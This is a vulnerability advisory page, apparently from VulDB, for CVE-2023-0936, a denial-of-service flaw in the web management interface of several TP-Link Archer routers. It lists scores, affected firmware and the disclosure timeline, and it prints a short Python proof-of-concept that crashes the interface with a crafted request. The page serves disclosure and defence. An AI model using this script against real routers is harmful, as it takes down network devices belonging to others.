CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
6.3 | $0-$5k | 0.00 |
A vulnerability was found in TP-Link Archer C50 V2_160801. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Web Management Interface. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.
The weakness was disclosed 02/21/2023. This vulnerability is handled as CVE-2023-0936. Technical details are unknown but a public exploit is available.
A public exploit has been developed in Python. The exploit is available at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:
import requests import time device_web_ip = '192.168.0.1' request = {'HEAD' : {'Host' : '{}'.format(device_web_ip), 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Cookie' : 'Authorization', 'Upgrade-Insecure-Requests' : '1', 'Cache-Control' : 'max-age=0' }, 'ATTR': {'URL': 'http://{}/'.format(device_web_ip), 'METHOD': 'GET', 'VERSION': 'HTTP/1.1' } } headers = request['HEAD'] method = request['ATTR']['METHOD'] url = request['ATTR']['URL'] try: r = requests.request(method=method,url=url,headers=headers,verify=False,timeout=0.5) except: pass
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
Affected
- TP-Link Archer C50 V2_160801
- TP-Link Archer C2v1 V1_170228
- TP-Link Archer C20v1 V1_141217
- TP-Link Archer C7v2 V1_170228
Product
Vendor
Name
Version
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 6.5VulDB Meta Temp Score: 6.3
VulDB Base Score: 6.5
VulDB Temp Score: 5.9
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 6.5
NVD Vector: 🔍
CNA Base Score: 6.5
CNA Vector (VulDB): 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
---|---|---|---|---|---|
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Denial of serviceCWE: CWE-404
ATT&CK: Unknown
Local: No
Remote: Partially
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Timeline
02/21/2023 🔍02/21/2023 🔍
02/21/2023 🔍
03/27/2023 🔍
Sources
Vendor: tp-link.comStatus: Not defined
CVE: CVE-2023-0936 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 02/21/2023 10:28Updated: 03/27/2023 22:56
Changes: 02/21/2023 10:28 (38), 02/21/2023 10:29 (2), 03/23/2023 15:44 (2), 03/23/2023 15:49 (27), 03/27/2023 22:56 (1)
Complete: 🔍
Submitter: a2ure
Submit
Accepted
- Submit #89806: Web crash found on TP-LINK router(Archer C50(US)_V2_160801) (by a2ure)
Duplicate
- Submit #106285: Web crash found on TP-LINK router (by a2ure)
- Submit #106287: Web crash found on TP-LINK(c2v1) router (by a2ure)
- Submit #106288: Web crash found on TP-LINK(c20v1) router (by a2ure)
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